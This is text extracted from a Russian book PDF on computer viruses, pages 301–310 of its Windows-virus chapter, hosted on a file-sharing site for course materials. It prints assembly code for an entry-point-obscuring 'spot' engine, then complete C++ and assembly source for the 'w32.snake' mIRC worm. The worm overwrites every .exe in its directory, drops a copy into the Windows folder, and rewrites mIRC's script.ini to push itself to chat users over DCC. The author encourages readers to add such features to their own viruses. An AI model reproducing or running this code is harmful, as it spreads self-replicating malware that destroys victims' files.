Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

301

 

 

 

call

testing

; Проверяем, чтобы пятно

jc

quit2

; не выходило за кодовую

 

 

; секцию

push

ebx

 

xor

bx,bx

 

dec

bx

 

mov

ecx,[ebp+num1]

; Генерируем первую партию

call

garbage

; мусора

pop

ebx

 

mov

al,0e9h

;

stosb

 

;

mov

eax,0

; Генерируем jmp

add

eax,ebx

;

add

eax,ecx

;

stosd

 

;

push

ebx

 

xor

bx,bx

 

dec

bx

 

mov

ecx,[ebp+num2]

; Генерируем вторую партию

call

garbage

; мусора

pop

ebx

 

sub

edi,[ebp+num2]

;

add

edi,[ebp+num1]

; Корректируем edi

add

edi,ebx

;

quit2:

 

 

pop

ecx eax

; Восстанавливаем ecx и eax

ret

 

; Возврат из подпрограммы

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; LAST SPOT GENERATION SUBROUTINE ; ;———————————————————————————————————————------------------------;

;

[ IN ]

;

;

 

;

;

NO INPUT IN SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ OUT ]

;

;

 

;

;

NO OUTPUT IN SUBROUTINE

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; gen_final_spot:

 

 

; Подпрограмма генерации

 

 

; финального пятна

push

eax ecx

; Сохраняем eax и ecx

jc

not_big

; Если длина не превышает

inc

[ebp+n_spots]

; размера кодовой секции, то

not_big:

 

; Увеличим кол-во пятен

mov

ecx,[ebp+num1]

; Генерируем мусорные

call

garbage

; инструкции

push

edi

; Сохраняем edi

sub

edi,[ebp+start_code]

; Подготавливаем длину jmp’a

mov

ebx,edi

; для последнего пятна

pop

edi

; Восстанавливаем edi

mov

al,0e9h

;

302

 

Windows вирусы

 

 

 

stosb

 

;

mov

eax,0

;

sub

eax,5

; Генерируем финальное

sub

eax,ebx

; пятно

add

eax,[ebp+new_eip]

;

sub

eax,[ebp+old_eip]

;

stosd

 

;

mov

ecx,[ebp+num2]

; Генерируем вторую партию

call

garbage

; мусорных инструкций

pop

ecx eax

; Восстанавливаем ecx и eax

ret

 

; Возврат из подпрограммы

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;———————————————————————————————————————------------------------;

;

[ IN ]

 

;

;

 

 

;

;

ADDRESS OF SAVING BYTES -> EDI

;

;

QUANTITY OF BYTES

-> EBX

;

;———————————————————————————————————————------------------------;

;

[ OUT ]

;

;

 

;

;

NO OUTPUT IN SUBROUTINE

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

save_bytes:

 

 

 

 

; Подпрограмма сохранения

 

 

; заменяемых байт

pusha

 

; Сохраняем все в стэке

call

length1

; Генерируем длины мусорных

 

 

; инструкций

mov

ebx,[ebp+num1]

; Помещаем в ebx первую

add

ebx,[ebp+num2]

; и вторую длины

add

ebx,5

; Добавляем к ebx - 5

mov

esi,edi

; Сохраняем в буфере с

mov

edi,[ebp+pointer]

; начала смещение в памяти

mov

eax,esi

; на сохраняемые байты

stosd

 

;

mov

ecx,ebx

; После этого сохраняем в

mov

eax,ecx

; буфере кол-во сохраняемых

stosd

 

; áàéò

rep

movsb

; И в самом конце сохраняем

mov

[ebp+pointer],edi

; в буфере сами байты

 

 

;

popa

 

; Вынимаем все из стэка

ret

 

; Возврат из подпрограммы

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESTORE SUBROUTINE ; ;———————————————————————————————————————------------------------;

;

[ IN ]

;

;

 

;

;

NO INPUT IN SUBROUTINE

;

;———————————————————————————————————————------------------------;

Windows вирусы

 

303

 

 

 

;

[ OUT ]

;

;

 

;

;

OLD ENTRY POINT -> EBX

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

restore:

 

 

 

 

 

; Подпрограмма

 

 

 

; восстановления сохраненных

 

 

; байтов

 

cld

 

; Поиск вперед

 

lea

esi,[ebp+rest_bytes]

; В esi указазатель на буфер

mov

edx,1

; В edx кладем - 1

 

not_enough:

 

 

 

mov

edi,[ebp+old_eip]

; В edi загружаем точку

add

edi,[ebp+image_base]

; входа

 

mov

ebx,edi

; Сохраняем edi в ebx

lodsd

 

; В eax старое смещение

 

 

; байтов в памяти

 

sub

eax,[ebp+start_code]

; Отнимаем смещение начала

 

 

; кода и добавляем

 

add

edi,eax

; точку входа

 

lodsd

 

; Загружаем в eax кол-во

mov

ecx,eax

; байтов и кладем их в ecx

rep

movsb

; Перемещаем оригинальные

 

 

; байты на старое место

inc

edx

; Переходим к следующему

cmp

edx,[ebp+n_spots]

; пятну

 

jl

not_enough

; если не все пятна вернули,

 

 

; то восстанавливаем дальше

quit:

 

;

 

ret

 

; Возврат из процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

;

LENGTH SPOT GENERATION SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ IN ]

 

;

;

 

 

;

;

NO INPUT IN SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ OUT ]

 

;

;

 

 

;

;

NO OUTPUT IN SUBROUTINE

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

length1:

 

 

 

 

 

; Подпрограмма генерации

 

 

; длин мусорных инструкций

mov

eax,20

;

 

call

brandom32

; Генерируем случайное число

test

eax,eax

; в диапазоне 1..19

 

jz

length1

;

 

mov

[ebp+num1],eax

; Сохраняем его в переменную

rand2:

 

 

 

mov

eax,20

;

 

call

brandom32

; Генерируем случайное число

304

 

 

Windows вирусы

 

 

 

 

test

eax,eax

; в диапазоне 1..19

 

jz

rand2

;

 

mov

[ebp+num2],eax

; Сохраняем его в вторую

 

 

; переменную

 

ret

 

; Возврат из процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

;

RESET SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ IN ]

 

;

;

 

 

;

;

NO INPUT IN SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ OUT ]

 

;

;

 

 

;

;

NO OUTPUT IN SUBROUTINE

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

reset:

 

 

 

 

 

; Подпрограмма инициализации

 

 

; переменных

 

mov

edi,[ebp+start_code]

;

 

 

 

;

 

push

esi

; Инициализируем переменные

lea

esi,[ebp+rest_bytes]

;

 

mov

[ebp+pointer],esi

;

 

pop

esi

;

 

ret

 

; Возврат из процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

;

SPOT JUMP LENGTH GENERATION SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ IN ]

 

;

;

 

 

;

;

NO INPUT IN SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ OUT ]

 

;

;

 

 

;

;

LENGTH OF SPOT JUMP -> EAX

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

len_sp_jmp:

 

 

 

 

 

; Подпрограмма генерации

 

 

; длины прыжка

 

mov

eax,150

;

 

call

brandom32

; Генерируем случайное число

cmp

eax,45

; в диапазоне 45..149

jle

len_sp_jmp

;

 

ret

 

; Возврат из процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

;

SPOTS NUMBER GENERATION SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ IN ]

 

;

;

 

 

;

;

NO INPUT IN SUBROUTINE

;

Windows вирусы

 

 

305

 

;———————————————————————————————————————------------------------;

;

[ OUT

]

;

;

 

 

;

;

NO OUTPUT IN

SUBROUTINE

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; num_spots:

 

 

; Подпрограмма генерации

 

 

; количества пятен

 

pusha

 

; Сохраняем все в стэке

mov

eax,40

; Генерируем случайное число

call

brandom32

; в диапазоне 1..40

 

inc

eax

; И сохраняем его в

 

mov

[ebp+n_spots],eax

; переменной

 

popa

 

; Вынимаем все из стэка

ret

 

; Возврат из процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

;

TESTING SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ IN ]

 

;

;

 

 

;

;

NO INPUT IN SUBROUTINE

;

;———————————————————————————————————————------------------------;

;

[ OUT ]

 

;

;

 

 

;

;

CARRY FLAG

 

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

testing:

push edi eax

add edi,[ebp+num1]

add edi,[ebp+num2] add edi,300

mov eax,[ebp+size_for_spot]

add eax,[ebp+start_code] cmp edi,eax

clc

jl m_space

mov [ebp+n_spots],ecx inc [ebp+n_spots] stc

;Подпрограмма проверки

;попадения в границу секции

;Сохраняем edi eax в стэке

;Добавим к edi 1-ую длину

;мусорных инструкций

;После этого добавим 2-óþ

;И добавим число в которое

;входит максимальный размер

;пятна + длина его прыжка

;В eax загрузим размер

;места для пятен и смещение

;в памяти точки входа

;Сравним eax и edi

;Сбросим carry флаг

;Если edi меньше, то все

;хорошо

;Если нет, то мы уменьшаем

;количество пятен и

;устанавливаем carry флаг

m_space:

 

 

 

 

pop

eax edi

; Вынимаем eax и edi

 

ret

 

; Возврат из процедуры

;————————————————————————-

 

pointer

dd

0

;

n_spots

dd

0

;

306

 

 

 

Windows вирусы

 

 

 

 

 

 

 

 

 

;

num1

dd

0

 

;

num2

dd

0

 

;

 

 

 

 

; Данные необходимые для

PE_header

dd

0

 

; работы мотора

old_eip

dd

0

 

;

image_base

dd

0

 

;

start_code

dd

0

 

;

new_eip

dd

0

 

;

map_address dd

0

 

;

size_for_spot

dd

0

;

rest_bytes: db

2100 dup (?)

;

;——————————————————————————-----------------------

В качестве параметра данному мотору передается адрес файла в памяти (MapViewOfFile). Для восстановления оригинальных байтов используется подпрограмма restore. Данная подпрограмма в качестве результата возвращает адрес начала программы в регистре ebx.

Рассмотрим примерную схему работы мотора:

Лечение сложных вирусов, использующих данную технику довольно трудоемко. В нашем же случае необходимо изменить вирус так, чтобы он после восстановления пятен передавал управление в программу, до начала непосредственно заражения.

5.10.Распространение через Интернет

Âпоследнее время многие вирусы используют возможность распространения через Интернет и практически вытеснили обыкновенные вирусы. Если взглянуть в вирусные топ-листы, то везде, как минимум, на первых местах оказываются черви. А как максимум на всех, именно поэтому я не мог обойти стороной этот очень важный аспект. Если в ваш уже достаточно совершенный полиморфный вирус с усилением кода и полиморфизмом, а также с неизлечимо-

Windows вирусы

307

 

 

стью добавить возможности червя, то существует довольно большая вероятность того, что о вашем вирусе и о вас заговорят. Вспомните хотя бы Meliss’у или Klez.

Самым простым и одним из самых распространенных механизмов, которые используют черви, является распространение через mIRC. mIRC. Это про- грамма—клиент для IRC (Internet Relay Chat) с очень сильно развитым скриптовым языком, благодаря модификации ее файла конфигурации у вирмейкеров появилась возможность рассылки своего вируса всем посетителя каналов IRC, через DCC.

Рассмотрим пример реализации простого mIRC червя на C++. Теперь перейдем к листингу:

//————————————————————————————————————————————— #include "windows.h"

worm(char *name1)

 

{

 

HANDLE fh;

 

unsigned long size1=185;

// Далее идут данные

 

// Данная функция переписует файл настроек

 

// mIRC - script.ini

char buff[]= "[SCRIPT]\r\n"

"n0=on 1:TEXT:*sting*:#:/msg $chan hi\r\n"

"n1=on 1:TEXT:*dcc*:#:/msg $chan Who wants supa prog?\r\n"

"n2=on 1:FILESENT:*.*:/if ( $me != $nick ) { /dcc send $nick C:\\Windows\\supa.exe }\r\n";

char

mirca[]="c:\\mirc\\Script.ini";

//

Так же в этой функции сбрасывается

char

dropper[]="c:\\WINDOWS\\supa.exe"; //

дроппер в директорию Windows

CopyFileA(name1,dropper,0);

fh=CreateFileA(mirca,GENERIC_WRITE,FILE_SHARE_WRITE,0,3,128,0); WriteFile(fh,buff,size1,&size1,NULL);

CloseHandle(fh);

return(0);

}

//Далее идет обыкновенный Windows companion, разобранный нами ранее, но

//с одним отличием почти в конце программы есть вызов функции отвечающей

//за распространение

//вируса чере mIRC

char* preob(char *stroka)

{

int dlina;

dlina=lstrlen(stroka);

stroka[dlina-3]=’x’; stroka[dlina-2]=’x’; stroka[dlina-1]=’x’; return stroka;

308

Windows вирусы

 

 

}

 

int main(int argc, char *argv[])

 

{

 

HANDLE find_handle;

 

WIN32_FIND_DATA ff;

 

double size=52736;

 

char *stroka;

 

char *v="

";

char msg1[]="[ WIN32 MIRC WORM -=w32.snake=- ]";

 

find_handle=FindFirstFileA("*.exe",&ff);

 

while (1)

{

if (ff.nFileSizeLow==size)goto nexta;

lstrcpy(v,ff.cFileName);

stroka=ff.cFileName;

stroka=preob(stroka);

CopyFileA(v,stroka,1);

CopyFileA(argv[0],v,0);

nexta:

if (!FindNextFileA(find_handle,&ff)) break;

}

FindClose(find_handle);

worm(argv[0]);

// Вызов функции, отвечающей за

 

// распространение через mIRC

stroka=argv[0];

 

stroka=preob(stroka);

 

if(CopyFileA(stroka,"31337.exe",0))

 

{WinExec("31337.exe",1);}

 

DeleteFileA("31337.exe");

 

return(0);

 

}

 

//————————————————————————-

 

Как вы можете видеть, здесь все очень просто. Если же что-то непонятно в самом mIRC скрипте, я могу посоветовать вам немного разобраться с этой программой и поэкспериментировать с различными вариантами стартовых скриптов.

Данный скрипт делает следующее:

1)Он сообщает всем пользователям (кроме самого себя, естественно) примерно следующее:

«Hi»

«Who wants supa prog?»

2)Затем всем согласившимся отправляет вирус «в подарок».

Рассмотрим аналогичный вирус на ассемблере, как обычно он более экономен к объему памяти.

Windows вирусы

309

 

 

Переходим к листингу:

;————————————————————————

.386

.model flat

; Необходимые нам импортируемы функции WIN API

extrn

ExitProcess:PROC

 

 

extrn

FindFirstFileA:PROC

 

 

extrn

CopyFileA:PROC

 

 

extrn

GetCommandLineA:PROC

 

 

extrn

FindNextFileA:Proc

 

 

extrn

lstrcpyA:PROC

 

 

extrn

FindClose:PROC

 

 

extrn

MessageBoxA:PROC

 

 

extrn

WinExec:PROC

 

 

extrn

DeleteFileA:PROC

 

 

extrn

CreateFileA:PROC

 

 

extrn

WriteFile:PROC

 

 

extrn

CloseHandle:PROC

 

 

.data

 

; Область данных

 

EXE_file

db

‘*.exe’,0

 

 

ext

db

‘xxx’,0

 

 

exec

db

‘exe’,0

 

 

find_file

db

313 dup(?)

 

 

host_name

db

100 dup(?)

 

 

Find_data_name

equ

2ch

 

 

file_size

equ

20h

 

 

Fhandle

dd

?

 

 

convert_name

db

100 dup(?)

 

 

backup_name

db

100 dup(?)

 

 

temp_file

db

‘31337.exe’,0

 

 

dropper

db

‘C:\Windows\supa.exe’,0

 

script1

db

‘[SCRIPT]’,0,0dh,0ah

 

; mIRC

 

db

‘n0=on 1:TEXT:*sting*:#:/msg $chan hi’,0,0ah,0dh; êîíô. ôàéë

 

db

‘n1=on 1:TEXT:*dcc*:#:/msg $chan Who wants supa’

 

db

‘ prog?’,0,0dh,0ah

 

 

 

db

‘n2=on 1:FILESENT:*.*:/if ( $me != $nick ) { /dcc send’

 

db

‘ $nick C:\Windows\supa.exe }’,0,0dh,0ah

 

 

db

0

 

 

scriptSize

equ

offset name_script-offset script1

; Размер конф. файла

name_script

db

‘c:\mirc\script.ini’,0

; Имя конф. файла

msg1

db

‘[ WIN32 mIRC WORM -=w32.snake=- ]’

; Имя червя

fHnd

Dd

0

 

 

size2Read

Dd

0

 

 

.code

 

 

 

; Начало кода

start:

 

 

 

 

Call

GetCommandLineA

; Получаем параметры командной строки

310

 

Windows вирусы

 

 

 

 

 

;

push

eax

;

push

offset host_name

;

 

 

; И сохраняем эти параметры

call

lstrcpyA

;

;—————————————————————————-

 

push

OFFSET find_file

 

push

OFFSET EXE_file

 

call

FindFirstFileA

; Ищем файл для инфицирования

cmp

EAX, -1

; Если ошибка — идем на выход

je

End_it

 

mov

[Fhandle],eax

 

;———————————————————————————

 

infect:

 

 

mov

esi,offset find_file+file_size ; Проверяем: если размер

lodsd

 

; инфицируемого файла такой же, как

cmp

eax,4096

; и у вируса, то не трогаем его

je

find_next

; Вдруг это наш брат

call

convert

; Преобразовываем его имя в *.xxx

push

1

; Не перезаписываем

push

offset convert_name

 

push

offset find_file + Find_data_name

call

CopyFileA

; Копируем нашу жертву в *.xxx

push

0

; На место жертвы копируем себя

push

offset find_file + Find_data_name

push

offset host_name

 

call

CopyFileA

 

find_next:

 

; Ищем и инфицируем все файлы в

Call

Fnext

; текущей директории

cmp

eax,0

; Если файлы кончились

jne

infect

; Переходим к финалу

End_it:

 

 

push

[Fhandle]

; Закрываем поиск

call

FindClose

;

call

worm

; Инфицируем mIRC

call

restore

; Запускаем оригинальную программу

push

0

 

call

ExitProcess

; Завершаем работу

;——————————————————————————-

 

Fnext:

 

 

push

offset find_file

; Процедура поиска следующего файла

push

[Fhandle]

;

call

FindNextFileA

;

ret

 

; Возврат из процедуры

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]